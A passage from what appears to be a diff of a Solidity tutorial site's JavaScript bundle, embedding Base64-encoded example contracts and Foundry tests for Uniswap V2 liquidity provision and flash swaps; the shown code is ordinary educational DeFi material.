2KTsKCiAgICAgICAgYXNzZXJ0R3QoUEFJUi5iYWxhbmNlT2YoYWRkcmVzcyh1bmkpKSwgMCwgInBhaXIgYmFsYW5jZSAwIik7CiAgICB9CgogICAgLy8gUmVtb3ZlIFdFVEgvVVNEVCBMaXF1aWRpdHkgZnJvbSBVbmlzd2FwCiAgICBmdW5jdGlvbiB0ZXN0UmVtb3ZlTGlxdWlkaXR5KCkgcHVibGljIHsKICAgICAgICAvLyBEZWFsIExQIHRva2VucyB0byB1bmkKICAgICAgICBkZWFsKGFkZHJlc3MoUEFJUiksIGFkZHJlc3ModW5pKSwgMWUxMCk7CiAgICAgICAgYXNzZXJ0RXEoUEFJUi5iYWxhbmNlT2YoYWRkcmVzcyh1bmkpKSwgMWUxMCwgIkxQIHRva2VucyBiYWxhbmNlID0gMCIpOwogICAgICAgIGFzc2VydEVxKFVTRFQuYmFsYW5jZU9mKGFkZHJlc3ModW5pKSksIDAsICJVU0RUIGJhbGFuY2Ugbm9uLXplcm8iKTsKICAgICAgICBhc3NlcnRFcShXRVRILmJhbGFuY2VPZihhZGRyZXNzKHVuaSkpLCAwLCAiV0VUSCBiYWxhbmNlIG5vbi16ZXJvIik7CgogICAgICAgIHVuaS5yZW1vdmVMaXF1aWRpdHkoYWRkcmVzcyhXRVRIKSwgYWRkcmVzcyhVU0RUKSk7CgogICAgICAgIGFzc2VydEVxKFBBSVIuYmFsYW5jZU9mKGFkZHJlc3ModW5pKSksIDAsICJMUCB0b2tlbnMgYmFsYW5jZSAhPSAwIik7CiAgICAgICAgYXNzZXJ0R3QoVVNEVC5iYWxhbmNlT2YoYWRkcmVzcyh1bmkpKSwgMCwgIlVTRFQgYmFsYW5jZSA9IDAiKTsKICAgICAgICBhc3NlcnRHdChXRVRILmJhbGFuY2VPZihhZGRyZXNzKHVuaSkpLCAwLCAiV0VUSCBiYWxhbmNlID0gMCIpOwogICAgfQoKICAgIC8qKgogICAgICogQGRldiBUaGUgdHJhbnNmZXJGcm9tIGZ1bmN0aW9uIG1heSBvciBtYXkgbm90IHJldHVybiBhIGJvb2wuCiAgICAgKiBUaGUgRVJDLTIwIHNwZWMgcmV0dXJucyBhIGJvb2wsIGJ1dCBzb21lIHRva2VucyBkb24ndCBmb2xsb3cgdGhlIHNwZWMuCiAgICAgKiBOZWVkIHRvIGNoZWNrIGlmIGRhdGEgaXMgZW1wdHkgb3IgdHJ1ZS4KICAgICAqLwogICAgZnVuY3Rpb24gc2FmZVRyYW5zZmVyRnJvbSgKICAgICAgICBJRVJDMjAgdG9rZW4sCiAgICAgICAgYWRkcmVzcyBzZW5kZXIsCiAgICAgICAgYWRkcmVzcyByZWNpcGllbnQsCiAgICAgICAgdWludDI1NiBhbW91bnQKICAgICkgaW50ZXJuYWwgewogICAgICAgIChib29sIHN1Y2Nlc3MsIGJ5dGVzIG1lbW9yeSByZXR1cm5EYXRhKSA9IGFkZHJlc3ModG9rZW4pLmNhbGwoCiAgICAgICAgICAgIGFiaS5lbmNvZGVDYWxsKElFUkMyMC50cmFuc2ZlckZyb20sIChzZW5kZXIsIHJlY2lwaWVudCwgYW1vdW50KSkKICAgICAgICApOwogICAgICAgIHJlcXVpcmUoCiAgICAgICAgICAgIHN1Y2Nlc3MKICAgICAgICAgICAgICAgICYmIChyZXR1cm5EYXRhLmxlbmd0aCA9PSAwIHx8IGFiaS5kZWNvZGUocmV0dXJuRGF0YSwgKGJvb2wpKSksCiAgICAgICAgICAgICJUcmFuc2ZlciBmcm9tIGZhaWwiCiAgICAgICAgKTsKICAgIH0KCiAgICAvKioKICAgICAqIEBkZXYgVGhlIGFwcHJvdmUgZnVuY3Rpb24gbWF5IG9yIG1heSBub3QgcmV0dXJuIGEgYm9vbC4KICAgICAqIFRoZSBFUkMtMjAgc3BlYyByZXR1cm5zIGEgYm9vbCwgYnV0IHNvbWUgdG9rZW5zIGRvbid0IGZvbGxvdyB0aGUgc3BlYy4KICAgICAqIE5lZWQgdG8gY2hlY2sgaWYgZGF0YSBpcyBlbXB0eSBvciB0cnVlLgogICAgICovCiAgICBmdW5jdGlvbiBzYWZlQXBwcm92ZShJRVJDMjAgdG9rZW4sIGFkZHJlc3Mgc3BlbmRlciwgdWludDI1NiBhbW91bnQpCiAgICAgICAgaW50ZXJuYWwKICAgIHsKICAgICAgICAoYm9vbCBzdWNjZXNzLCBieXRlcyBtZW1vcnkgcmV0dXJuRGF0YSkgPSBhZGRyZXNzKHRva2VuKS5jYWxsKAogICAgICAgICAgICBhYmkuZW5jb2RlQ2FsbChJRVJDMjAuYXBwcm92ZSwgKHNwZW5kZXIsIGFtb3VudCkpCiAgICAgICAgKTsKICAgICAgICByZXF1aXJlKAogICAgICAgICAgICBzdWNjZXNzCiAgICAgICAgICAgICAgICAmJiAocmV0dXJuRGF0YS5sZW5ndGggPT0gMCB8fCBhYmkuZGVjb2RlKHJldHVybkRhdGEsIChib29sKSkpLAogICAgICAgICAgICAiQXBwcm92ZSBmYWlsIgogICAgICAgICk7CiAgICB9Cn0K"}],zm=`

                    Add / Remove Liquidity

                    +`,Km=({prev:s,next:a})=>r.jsx(A,{version:Xm,title:vm,description:Nm,html:Fm,prev:s,next:a,codes:Hm}),Mm="0.8.24",Sm="Uniswap V2 Add Remove Liquidity",xm="Uniswap V2 add remove liquidity",Jm=[{fileName:"UniswapV2Liquidity.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFVuaXN3YXBWMkFkZExpcXVpZGl0eSB7CiAgICBhZGRyZXNzIHByaXZhdGUgY29uc3RhbnQgRkFDVE9SWSA9CiAgICAgICAgMHg1QzY5YkVlNzAxZWY4MTRhMkI2YTNFREQ0QjE2NTJDQjljYzVhQTZmOwogICAgYWRkcmVzcyBwcml2YXRlIGNvbnN0YW50IFJPVVRFUiA9IDB4N2EyNTBkNTYzMEI0Y0Y1Mzk3MzlkRjJDNWRBY2I0YzY1OUYyNDg4RDsKICAgIGFkZHJlc3MgcHJpdmF0ZSBjb25zdGFudCBXRVRIID0gMHhDMDJhYUEzOWIyMjNGRThEMEEwZTVDNEYyN2VBRDkwODNDNzU2Q2MyOwogICAgYWRkcmVzcyBwcml2YXRlIGNvbnN0YW50IFVTRFQgPSAweGRBQzE3Rjk1OEQyZWU1MjNhMjIwNjIwNjk5NDU5N0MxM0Q4MzFlYzc7CgogICAgZnVuY3Rpb24gYWRkTGlxdWlkaXR5KAogICAgICAgIGFkZHJlc3MgX3Rva2VuQSwKICAgICAgICBhZGRyZXNzIF90b2tlbkIsCiAgICAgICAgdWludDI1NiBfYW1vdW50QSwKICAgICAgICB1aW50MjU2IF9hbW91bnRCCiAgICApIGV4dGVybmFsIHsKICAgICAgICBzYWZlVHJhbnNmZXJGcm9tKElFUkMyMChfdG9rZW5BKSwgbXNnLnNlbmRlciwgYWRkcmVzcyh0aGlzKSwgX2Ftb3VudEEpOwogICAgICAgIHNhZmVUcmFuc2ZlckZyb20oSUVSQzIwKF90b2tlbkIpLCBtc2cuc2VuZGVyLCBhZGRyZXNzKHRoaXMpLCBfYW1vdW50Qik7CgogICAgICAgIHNhZmVBcHByb3ZlKElFUkMyMChfdG9rZW5BKSwgUk9VVEVSLCBfYW1vdW50QSk7CiAgICAgICAgc2FmZUFwcHJvdmUoSUVSQzIwKF90b2tlbkIpLCBST1VURVIsIF9hbW91bnRCKTsKCiAgICAgICAgKHVpbnQyNTYgYW1vdW50QSwgdWludDI1NiBhbW91bnRCLCB1aW50MjU2IGxpcXVpZGl0eSkgPSBJVW5pc3dhcFYyUm91dGVyKAogICAgICAgICAgICBST1VURVIKICAgICAgICApLmFkZExpcXVpZGl0eSgKICAgICAgICAgICAgX3Rva2VuQSwKICAgICAgICAgICAgX3Rva2VuQiwKICAgICAgICAgICAgX2Ftb3VudEEsCiAgICAgICAgICAgIF9hbW91bnRCLAogICAgICAgICAgICAxLAogICAgICAgICAgICAxLAogICAgICAgICAgICBhZGRyZXNzKHRoaXMpLAogICAgICAgICAgICBibG9jay50aW1lc3RhbXAKICAgICAgICApOwogICAgfQoKICAgIGZ1bmN0aW9uIHJlbW92ZUxpcXVpZGl0eShhZGRyZXNzIF90b2tlbkEsIGFkZHJlc3MgX3Rva2VuQikgZXh0ZXJuYWwgewogICAgICAgIGFkZHJlc3MgcGFpciA9IElVbmlzd2FwVjJGYWN0b3J5KEZBQ1RPUlkpLmdldFBhaXIoX3Rva2VuQSwgX3Rva2VuQik7CgogICAgICAgIHVpbnQyNTYgbGlxdWlkaXR5ID0gSUVSQzIwKHBhaXIpLmJhbGFuY2VPZihhZGRyZXNzKHRoaXMpKTsKICAgICAgICBzYWZlQXBwcm92ZShJRVJDMjAocGFpciksIFJPVVRFUiwgbGlxdWlkaXR5KTsKCiAgICAgICAgKHVpbnQyNTYgYW1vdW50QSwgdWludDI1NiBhbW91bnRCKSA9IElVbmlzd2FwVjJSb3V0ZXIoUk9VVEVSKQogICAgICAgICAgICAucmVtb3ZlTGlxdWlkaXR5KAogICAgICAgICAgICBfdG9rZW5BLCBfdG9rZW5CLCBsaXF1aWRpdHksIDEsIDEsIGFkZHJlc3ModGhpcyksIGJsb2NrLnRpbWVzdGFtcAogICAgICAgICk7CiAgICB9CgogICAgLyoqCiAgICAgKiBAZGV2IFRoZSB0cmFuc2ZlckZyb20gZnVuY3Rpb24gbWF5IG9yIG1heSBub3QgcmV0dXJuIGEgYm9vbC4KICAgICAqIFRoZSBFUkMtMjAgc3BlYyByZXR1cm5zIGEgYm9vbCwgYnV0IHNvbWUgdG9rZW5zIGRvbid0IGZvbGxvdyB0aGUgc3BlYy4KICAgICAqIE5lZWQgdG8gY2hlY2sgaWYgZGF0YSBpcyBlbXB0eSBvciB0cnVlLgogICAgICovCiAgICBmdW5jdGlvbiBzYWZlVHJhbnNmZXJGcm9tKAogICAgICAgIElFUkMyMCB0b2tlbiwKICAgICAgICBhZGRyZXNzIHNlbmRlciwKICAgICAgICBhZGRyZXNzIHJlY2lwaWVudCwKICAgICAgICB1aW50MjU2IGFtb3VudAogICAgKSBpbnRlcm5hbCB7CiAgICAgICAgKGJvb2wgc3VjY2VzcywgYnl0ZXMgbWVtb3J5IHJldHVybkRhdGEpID0gYWRkcmVzcyh0b2tlbikuY2FsbCgKICAgICAgICAgICAgYWJpLmVuY29kZUNhbGwoSUVSQzIwLnRyYW5zZmVyRnJvbSwgKHNlbmRlciwgcmVjaXBpZW50LCBhbW91bnQpKQogICAgICAgICk7CiAgICAgICAgcmVxdWlyZSgKICAgICAgICAgICAgc3VjY2VzcwogICAgICAgICAgICAgICAgJiYgKHJldHVybkRhdGEubGVuZ3RoID09IDAgfHwgYWJpLmRlY29kZShyZXR1cm5EYXRhLCAoYm9vbCkpKSwKICAgICAgICAgICAgIlRyYW5zZmVyIGZyb20gZmFpbCIKICAgICAgICApOwogICAgfQoKICAgIC8qKgogICAgICogQGRldiBUaGUgYXBwcm92ZSBmdW5jdGlvbiBtYXkgb3IgbWF5IG5vdCByZXR1cm4gYSBib29sLgogICAgICogVGhlIEVSQy0yMCBzcGVjIHJldHVybnMgYSBib29sLCBidXQgc29tZSB0b2tlbnMgZG9uJ3QgZm9sbG93IHRoZSBzcGVjLgogICAgICogTmVlZCB0byBjaGVjayBpZiBkYXRhIGlzIGVtcHR5IG9yIHRydWUuCiAgICAgKi8KICAgIGZ1bmN0aW9uIHNhZmVBcHByb3ZlKElFUkMyMCB0b2tlbiwgYWRkcmVzcyBzcGVuZGVyLCB1aW50MjU2IGFtb3VudCkKICAgICAgICBpbnRlcm5hbAogICAgewogICAgICAgIChib29sIHN1Y2Nlc3MsIGJ5dGVzIG1lbW9yeSByZXR1cm5EYXRhKSA9IGFkZHJlc3ModG9rZW4pLmNhbGwoCiAgICAgICAgICAgIGFiaS5lbmNvZGVDYWxsKElFUkMyMC5hcHByb3ZlLCAoc3BlbmRlciwgYW1vdW50KSkKICAgICAgICApOwogICAgICAgIHJlcXVpcmUoCiAgICAgICAgICAgIHN1Y2Nlc3MKICAgICAgICAgICAgICAgICYmIChyZXR1cm5EYXRhLmxlbmd0aCA9PSAwIHx8IGFiaS5kZWNvZGUocmV0dXJuRGF0YSwgKGJvb2wpKSksCiAgICAgICAgICAgICJBcHByb3ZlIGZhaWwiCiAgICAgICAgKTsKICAgIH0KfQoKaW50ZXJmYWNlIElVbmlzd2FwVjJSb3V0ZXIgewogICAgZnVuY3Rpb24gYWRkTGlxdWlkaXR5KAogICAgICAgIGFkZHJlc3MgdG9rZW5BLAogICAgICAgIGFkZHJlc3MgdG9rZW5CLAogICAgICAgIHVpbnQyNTYgYW1vdW50QURlc2lyZWQsCiAgICAgICAgdWludDI1NiBhbW91bnRCRGVzaXJlZCwKICAgICAgICB1aW50MjU2IGFtb3VudEFNaW4sCiAgICAgICAgdWludDI1NiBhbW91bnRCTWluLAogICAgICAgIGFkZHJlc3MgdG8sCiAgICAgICAgdWludDI1NiBkZWFkbGluZQogICAgKSBleHRlcm5hbCByZXR1cm5zICh1aW50MjU2IGFtb3VudEEsIHVpbnQyNTYgYW1vdW50QiwgdWludDI1NiBsaXF1aWRpdHkpOwoKICAgIGZ1bmN0aW9uIHJlbW92ZUxpcXVpZGl0eSgKICAgICAgICBhZGRyZXNzIHRva2VuQSwKICAgICAgICBhZGRyZXNzIHRva2VuQiwKICAgICAgICB1aW50MjU2IGxpcXVpZGl0eSwKICAgICAgICB1aW50MjU2IGFtb3VudEFNaW4sCiAgICAgICAgdWludDI1NiBhbW91bnRCTWluLAogICAgICAgIGFkZHJlc3MgdG8sCiAgICAgICAgdWludDI1NiBkZWFkbGluZQogICAgKSBleHRlcm5hbCByZXR1cm5zICh1aW50MjU2IGFtb3VudEEsIHVpbnQyNTYgYW1vdW50Qik7Cn0KCmludGVyZmFjZSBJVW5pc3dhcFYyRmFjdG9yeSB7CiAgICBmdW5jdGlvbiBnZXRQYWlyKGFkZHJlc3MgdG9rZW4wLCBhZGRyZXNzIHRva2VuMSkKICAgICAgICBleHRlcm5hbAogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zIChhZGRyZXNzKTsKfQoKaW50ZXJmYWNlIElFUkMyMCB7CiAgICBmdW5jdGlvbiB0b3RhbFN1cHBseSgpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1Nik7CiAgICBmdW5jdGlvbiBiYWxhbmNlT2YoYWRkcmVzcyBhY2NvdW50KSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gdHJhbnNmZXIoYWRkcmVzcyByZWNpcGllbnQsIHVpbnQyNTYgYW1vdW50KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAoYm9vbCk7CiAgICBmdW5jdGlvbiBhbGxvd2FuY2UoYWRkcmVzcyBvd25lciwgYWRkcmVzcyBzcGVuZGVyKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gYXBwcm92ZShhZGRyZXNzIHNwZW5kZXIsIHVpbnQyNTYgYW1vdW50KSBleHRlcm5hbCByZXR1cm5zIChib29sKTsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyRnJvbShhZGRyZXNzIHNlbmRlciwgYWRkcmVzcyByZWNpcGllbnQsIHVpbnQyNTYgYW1vdW50KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAoYm9vbCk7Cn0K"},{fileName:"UniswapV2LiquidityTest.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCB7VGVzdH0gZnJvbSAiZm9yZ2Utc3RkL1Rlc3Quc29sIjsKaW1wb3J0CiAgICAiLi4vLi4vLi4vc3JjL2RlZmkvdW5pc3dhcC12Mi1hZGQtcmVtb3ZlLWxpcXVpZGl0eS9Vbmlzd2FwVjJMaXF1aWRpdHkuc29sIjsKCklFUkMyMCBjb25zdGFudCBXRVRIID0gSUVSQzIwKDB4QzAyYWFBMzliMjIzRkU4RDBBMGU1QzRGMjdlQUQ5MDgzQzc1NkNjMik7CklFUkMyMCBjb25zdGFudCBVU0RUID0gSUVSQzIwKDB4ZEFDMTdGOTU4RDJlZTUyM2EyMjA2MjA2OTk0NTk3QzEzRDgzMWVjNyk7CklFUkMyMCBjb25zdGFudCBQQUlSID0gSUVSQzIwKDB4MGQ0YTExZDVFRWFhQzI4RUMzRjYxZDEwMGRhRjRkNDA0NzFmMTg1Mik7Cgpjb250cmFjdCBVbmlzd2FwVjJBZGRMaXF1aWRpdHlUZXN0IGlzIFRlc3QgewogICAgVW5pc3dhcFYyQWRkTGlxdWlkaXR5IHByaXZhdGUgdW5pID0gbmV3IFVuaXN3YXBWMkFkZExpcXVpZGl0eSgpOwoKICAgIC8vICBBZGQgV0VUSC9VU0RUIExpcXVpZGl0eSB0byBVbmlzd2FwCiAgICBmdW5jdGlvbiB0ZXN0QWRkTGlxdWlkaXR5KCkgcHVibGljIHsKICAgICAgICAvLyBEZWFsIHRlc3QgVVNEVCBhbmQgV0VUSCB0byB0aGlzIGNvbnRyYWN0CiAgICAgICAgZGVhbChhZGRyZXNzKFVTRFQpLCBhZGRyZXNzKHRoaXMpLCAxZTYgKiAxZTYpOwogICAgICAgIGFzc2VydEVxKAogICAgICAgICAgICBVU0RULmJhbGFuY2VPZihhZGRyZXNzKHRoaXMpKSwgMWU2ICogMWU2LCAiVVNEVCBiYWxhbmNlIGluY29ycmVjdCIKICAgICAgICApOwogICAgICAgIGRlYWwoYWRkcmVzcyhXRVRIKSwgYWRkcmVzcyh0aGlzKSwgMWU2ICogMWUxOCk7CiAgICAgICAgYXNzZXJ0RXEoCiAgICAgICAgICAgIFdFVEguYmFsYW5jZU9mKGFkZHJlc3ModGhpcykpLCAxZTYgKiAxZTE4LCAiV0VUSCBiYWxhbmNlIGluY29ycmVjdCIKICAgICAgICApOwoKICAgICAgICAvLyBBcHByb3ZlIHVuaSBmb3IgdHJhbnNmZXJyaW5nCiAgICAgICAgc2FmZUFwcHJvdmUoV0VUSCwgYWRkcmVzcyh1bmkpLCAxZTY0KTsKICAgICAgICBzYWZlQXBwcm92ZShVU0RULCBhZGRyZXNzKHVuaSksIDFlNjQpOwoKICAgICAgICB1bmkuYWRkTGlxdWlkaXR5KGFkZHJlc3MoV0VUSCksIGFkZHJlc3MoVVNEVCksIDEgKiAxZTE4LCAzMDAwLjA1ICogMWU2KTsKCiAgICAgICAgYXNzZXJ0R3QoUEFJUi5iYWxhbmNlT2YoYWRkcmVzcyh1bmkpKSwgMCwgInBhaXIgYmFsYW5jZSAwIik7CiAgICB9CgogICAgLy8gUmVtb3ZlIFdFVEgvVVNEVCBMaXF1aWRpdHkgZnJvbSBVbmlzd2FwCiAgICBmdW5jdGlvbiB0ZXN0UmVtb3ZlTGlxdWlkaXR5KCkgcHVibGljIHsKICAgICAgICAvLyBEZWFsIExQIHRva2VucyB0byB1bmkKICAgICAgICBkZWFsKGFkZHJlc3MoUEFJUiksIGFkZHJlc3ModW5pKSwgMWUxMCk7CiAgICAgICAgYXNzZXJ0RXEoUEFJUi5iYWxhbmNlT2YoYWRkcmVzcyh1bmkpKSwgMWUxMCwgIkxQIHRva2VucyBiYWxhbmNlID0gMCIpOwogICAgICAgIGFzc2VydEVxKFVTRFQuYmFsYW5jZU9mKGFkZHJlc3ModW5pKSksIDAsICJVU0RUIGJhbGFuY2Ugbm9uLXplcm8iKTsKICAgICAgICBhc3NlcnRFcShXRVRILmJhbGFuY2VPZihhZGRyZXNzKHVuaSkpLCAwLCAiV0VUSCBiYWxhbmNlIG5vbi16ZXJvIik7CgogICAgICAgIHVuaS5yZW1vdmVMaXF1aWRpdHkoYWRkcmVzcyhXRVRIKSwgYWRkcmVzcyhVU0RUKSk7CgogICAgICAgIGFzc2VydEVxKFBBSVIuYmFsYW5jZU9mKGFkZHJlc3ModW5pKSksIDAsICJMUCB0b2tlbnMgYmFsYW5jZSAhPSAwIik7CiAgICAgICAgYXNzZXJ0R3QoVVNEVC5iYWxhbmNlT2YoYWRkcmVzcyh1bmkpKSwgMCwgIlVTRFQgYmFsYW5jZSA9IDAiKTsKICAgICAgICBhc3NlcnRHdChXRVRILmJhbGFuY2VPZihhZGRyZXNzKHVuaSkpLCAwLCAiV0VUSCBiYWxhbmNlID0gMCIpOwogICAgfQoKICAgIC8qKgogICAgICogQGRldiBUaGUgdHJhbnNmZXJGcm9tIGZ1bmN0aW9uIG1heSBvciBtYXkgbm90IHJldHVybiBhIGJvb2wuCiAgICAgKiBUaGUgRVJDLTIwIHNwZWMgcmV0dXJucyBhIGJvb2wsIGJ1dCBzb21lIHRva2VucyBkb24ndCBmb2xsb3cgdGhlIHNwZWMuCiAgICAgKiBOZWVkIHRvIGNoZWNrIGlmIGRhdGEgaXMgZW1wdHkgb3IgdHJ1ZS4KICAgICAqLwogICAgZnVuY3Rpb24gc2FmZVRyYW5zZmVyRnJvbSgKICAgICAgICBJRVJDMjAgdG9rZW4sCiAgICAgICAgYWRkcmVzcyBzZW5kZXIsCiAgICAgICAgYWRkcmVzcyByZWNpcGllbnQsCiAgICAgICAgdWludDI1NiBhbW91bnQKICAgICkgaW50ZXJuYWwgewogICAgICAgIChib29sIHN1Y2Nlc3MsIGJ5dGVzIG1lbW9yeSByZXR1cm5EYXRhKSA9IGFkZHJlc3ModG9rZW4pLmNhbGwoCiAgICAgICAgICAgIGFiaS5lbmNvZGVDYWxsKElFUkMyMC50cmFuc2ZlckZyb20sIChzZW5kZXIsIHJlY2lwaWVudCwgYW1vdW50KSkKICAgICAgICApOwogICAgICAgIHJlcXVpcmUoCiAgICAgICAgICAgIHN1Y2Nlc3MKICAgICAgICAgICAgICAgICYmIChyZXR1cm5EYXRhLmxlbmd0aCA9PSAwIHx8IGFiaS5kZWNvZGUocmV0dXJuRGF0YSwgKGJvb2wpKSksCiAgICAgICAgICAgICJUcmFuc2ZlciBmcm9tIGZhaWwiCiAgICAgICAgKTsKICAgIH0KCiAgICAvKioKICAgICAqIEBkZXYgVGhlIGFwcHJvdmUgZnVuY3Rpb24gbWF5IG9yIG1heSBub3QgcmV0dXJuIGEgYm9vbC4KICAgICAqIFRoZSBFUkMtMjAgc3BlYyByZXR1cm5zIGEgYm9vbCwgYnV0IHNvbWUgdG9rZW5zIGRvbid0IGZvbGxvdyB0aGUgc3BlYy4KICAgICAqIE5lZWQgdG8gY2hlY2sgaWYgZGF0YSBpcyBlbXB0eSBvciB0cnVlLgogICAgICovCiAgICBmdW5jdGlvbiBzYWZlQXBwcm92ZShJRVJDMjAgdG9rZW4sIGFkZHJlc3Mgc3BlbmRlciwgdWludDI1NiBhbW91bnQpCiAgICAgICAgaW50ZXJuYWwKICAgIHsKICAgICAgICAoYm9vbCBzdWNjZXNzLCBieXRlcyBtZW1vcnkgcmV0dXJuRGF0YSkgPSBhZGRyZXNzKHRva2VuKS5jYWxsKAogICAgICAgICAgICBhYmkuZW5jb2RlQ2FsbChJRVJDMjAuYXBwcm92ZSwgKHNwZW5kZXIsIGFtb3VudCkpCiAgICAgICAgKTsKICAgICAgICByZXF1aXJlKAogICAgICAgICAgICBzdWNjZXNzCiAgICAgICAgICAgICAgICAmJiAocmV0dXJuRGF0YS5sZW5ndGggPT0gMCB8fCBhYmkuZGVjb2RlKHJldHVybkRhdGEsIChib29sKSkpLAogICAgICAgICAgICAiQXBwcm92ZSBmYWlsIgogICAgICAgICk7CiAgICB9Cn0K"}],zm=`

                    Add / Remove Liquidity

                    // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
 
@@ -5687,7 +5687,7 @@ IERC20 constant PAIR Uniswap V2 Flash Swap Example
+
                    `,Dm=({prev:s,next:a})=>r.jsx(A,{version:Mm,title:Sm,description:xm,html:zm,prev:s,next:a,codes:Jm}),Em="0.8.24",Qm="Uniswap V2 Flash Swap",Tm="Uniswap V2 flash swap",Um=[{fileName:"UniswapV2FlashSwap.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmludGVyZmFjZSBJVW5pc3dhcFYyQ2FsbGVlIHsKICAgIGZ1bmN0aW9uIHVuaXN3YXBWMkNhbGwoCiAgICAgICAgYWRkcmVzcyBzZW5kZXIsCiAgICAgICAgdWludDI1NiBhbW91bnQwLAogICAgICAgIHVpbnQyNTYgYW1vdW50MSwKICAgICAgICBieXRlcyBjYWxsZGF0YSBkYXRhCiAgICApIGV4dGVybmFsOwp9Cgpjb250cmFjdCBVbmlzd2FwVjJGbGFzaFN3YXAgaXMgSVVuaXN3YXBWMkNhbGxlZSB7CiAgICBhZGRyZXNzIHByaXZhdGUgY29uc3RhbnQgVU5JU1dBUF9WMl9GQUNUT1JZID0KICAgICAgICAweDVDNjliRWU3MDFlZjgxNGEyQjZhM0VERDRCMTY1MkNCOWNjNWFBNmY7CgogICAgYWRkcmVzcyBwcml2YXRlIGNvbnN0YW50IERBSSA9IDB4NkIxNzU0NzRFODkwOTRDNDREYTk4Yjk1NEVlZGVBQzQ5NTI3MWQwRjsKICAgIGFkZHJlc3MgcHJpdmF0ZSBjb25zdGFudCBXRVRIID0gMHhDMDJhYUEzOWIyMjNGRThEMEEwZTVDNEYyN2VBRDkwODNDNzU2Q2MyOwoKICAgIElVbmlzd2FwVjJGYWN0b3J5IHByaXZhdGUgY29uc3RhbnQgZmFjdG9yeSA9CiAgICAgICAgSVVuaXN3YXBWMkZhY3RvcnkoVU5JU1dBUF9WMl9GQUNUT1JZKTsKCiAgICBJRVJDMjAgcHJpdmF0ZSBjb25zdGFudCB3ZXRoID0gSUVSQzIwKFdFVEgpOwoKICAgIElVbmlzd2FwVjJQYWlyIHByaXZhdGUgaW1tdXRhYmxlIHBhaXI7CgogICAgLy8gRm9yIHRoaXMgZXhhbXBsZSwgc3RvcmUgdGhlIGFtb3VudCB0byByZXBheQogICAgdWludDI1NiBwdWJsaWMgYW1vdW50VG9SZXBheTsKCiAgICBjb25zdHJ1Y3RvcigpIHsKICAgICAgICBwYWlyID0gSVVuaXN3YXBWMlBhaXIoZmFjdG9yeS5nZXRQYWlyKERBSSwgV0VUSCkpOwogICAgfQoKICAgIGZ1bmN0aW9uIGZsYXNoU3dhcCh1aW50MjU2IHdldGhBbW91bnQpIGV4dGVybmFsIHsKICAgICAgICAvLyBOZWVkIHRvIHBhc3Mgc29tZSBkYXRhIHRvIHRyaWdnZXIgdW5pc3dhcFYyQ2FsbAogICAgICAgIGJ5dGVzIG1lbW9yeSBkYXRhID0gYWJpLmVuY29kZShXRVRILCBtc2cuc2VuZGVyKTsKCiAgICAgICAgLy8gYW1vdW50ME91dCBpcyBEQUksIGFtb3VudDFPdXQgaXMgV0VUSAogICAgICAgIHBhaXIuc3dhcCgwLCB3ZXRoQW1vdW50LCBhZGRyZXNzKHRoaXMpLCBkYXRhKTsKICAgIH0KCiAgICAvLyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCBieSB0aGUgREFJL1dFVEggcGFpciBjb250cmFjdAogICAgZnVuY3Rpb24gdW5pc3dhcFYyQ2FsbCgKICAgICAgICBhZGRyZXNzIHNlbmRlciwKICAgICAgICB1aW50MjU2IGFtb3VudDAsCiAgICAgICAgdWludDI1NiBhbW91bnQxLAogICAgICAgIGJ5dGVzIGNhbGxkYXRhIGRhdGEKICAgICkgZXh0ZXJuYWwgewogICAgICAgIHJlcXVpcmUobXNnLnNlbmRlciA9PSBhZGRyZXNzKHBhaXIpLCAibm90IHBhaXIiKTsKICAgICAgICByZXF1aXJlKHNlbmRlciA9PSBhZGRyZXNzKHRoaXMpLCAibm90IHNlbmRlciIpOwoKICAgICAgICAoYWRkcmVzcyB0b2tlbkJvcnJvdywgYWRkcmVzcyBjYWxsZXIpID0KICAgICAgICAgICAgYWJpLmRlY29kZShkYXRhLCAoYWRkcmVzcywgYWRkcmVzcykpOwoKICAgICAgICAvLyBZb3VyIGN1c3RvbSBjb2RlIHdvdWxkIGdvIGhlcmUuIEZvciBleGFtcGxlLCBjb2RlIHRvIGFyYml0cmFnZS4KICAgICAgICByZXF1aXJlKHRva2VuQm9ycm93ID09IFdFVEgsICJ0b2tlbiBib3Jyb3cgIT0gV0VUSCIpOwoKICAgICAgICAvLyBhYm91dCAwLjMlIGZlZSwgKzEgdG8gcm91bmQgdXAKICAgICAgICB1aW50MjU2IGZlZSA9IChhbW91bnQxICogMykgLyA5OTcgKyAxOwogICAgICAgIGFtb3VudFRvUmVwYXkgPSBhbW91bnQxICsgZmVlOwoKICAgICAgICAvLyBUcmFuc2ZlciBmbGFzaCBzd2FwIGZlZSBmcm9tIGNhbGxlcgogICAgICAgIHdldGgudHJhbnNmZXJGcm9tKGNhbGxlciwgYWRkcmVzcyh0aGlzKSwgZmVlKTsKCiAgICAgICAgLy8gUmVwYXkKICAgICAgICB3ZXRoLnRyYW5zZmVyKGFkZHJlc3MocGFpciksIGFtb3VudFRvUmVwYXkpOwogICAgfQp9CgppbnRlcmZhY2UgSVVuaXN3YXBWMlBhaXIgewogICAgZnVuY3Rpb24gc3dhcCgKICAgICAgICB1aW50MjU2IGFtb3VudDBPdXQsCiAgICAgICAgdWludDI1NiBhbW91bnQxT3V0LAogICAgICAgIGFkZHJlc3MgdG8sCiAgICAgICAgYnl0ZXMgY2FsbGRhdGEgZGF0YQogICAgKSBleHRlcm5hbDsKfQoKaW50ZXJmYWNlIElVbmlzd2FwVjJGYWN0b